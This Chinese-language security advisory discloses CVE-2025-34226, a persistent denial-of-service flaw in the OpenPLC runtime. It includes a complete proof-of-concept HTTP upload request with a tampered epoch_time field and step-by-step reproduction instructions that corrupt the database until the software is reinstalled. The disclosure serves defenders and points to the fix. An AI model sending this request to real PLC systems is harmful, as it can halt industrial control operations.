CVE-2025-34226：OpenPLC 运行时中的持久化拒绝服务

漏洞概述

概要

OpenPLC 运行时在 /upload-program-action 端点存在持久化拒绝服务（DoS）漏洞。
低权限认证用户通过修改上传程序时的 epoch_time 参数，可破坏后端数据库。
该破坏最初导致关键页面无法使用，最终使整个运行时无法启动，实际上导致应用变砖，必须重新安装才能恢复。

安全影响

• 持久化拒绝服务 —— 一旦触发，系统无法在不清除并重装的情况下恢复。
• 数据库损坏 —— 利用向 OpenPLC 的 SQLite 数据库中写入无效值，破坏运行时状态。
• 运行中断 —— 在 ICS/OT 环境中，可能导致 PLC 管理流程停机。
• 绕过验证 —— 利用绕过输入验证，暴露了关键参数缺乏清洗的问题。

技术细节

受影响版本

• 受影响版本： OpenPLC 运行时 ≤ v3（非最新版本）
• 修复版本： 已通过提交 095ee09623dd229b64ad3a1db38a901a3772f6fc 修复

攻击向量

/upload-program-action 端点接收一个 epoch_time 字段，该字段未经验证直接写入数据库。
当该字段被设为构造的或毫无意义的值（例如 1758627838 或格式错误的数据）时，OpenPLC 存储了不一致的状态。
在运行时重新加载或重启时，应用查询损坏的行并遇到 NoneType 对象 → 致命崩溃（TypeError: 'NoneType' object is not subscriptable）。

概念验证

PoC 1：恶意上传请求（Burp Suite Repeater）

POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

复现步骤

1. 打开 Burp Suite
2. 打开 Burp Suite 浏览器
3. 进入 OpenPLC 界面
4. 使用低权限账户认证。
5. 通过 /programs 上传程序。
6. 选择随机名称。
7. 开启 Burp Suite 代理
8. 将请求发送至 Repeater
9. 编辑 epoch_time 部分，将其替换为随机字符，例如将原 epoch_time 替换为 "L"
10. 发送新构造的请求。
11. 观察 /programs，会发现该页面不再工作。
12. 此后有时当 OpenPLC 重启时，运行时会启动失败，并且之后无法再启动 OpenPLC。

立即行动

1. 立即升级 OpenPLC V3

参考资料

• 补丁/发布说明： [链接至官方最新版本]
• 漏洞历史： [漏洞历史链接]

致谢

发现者： Eyodav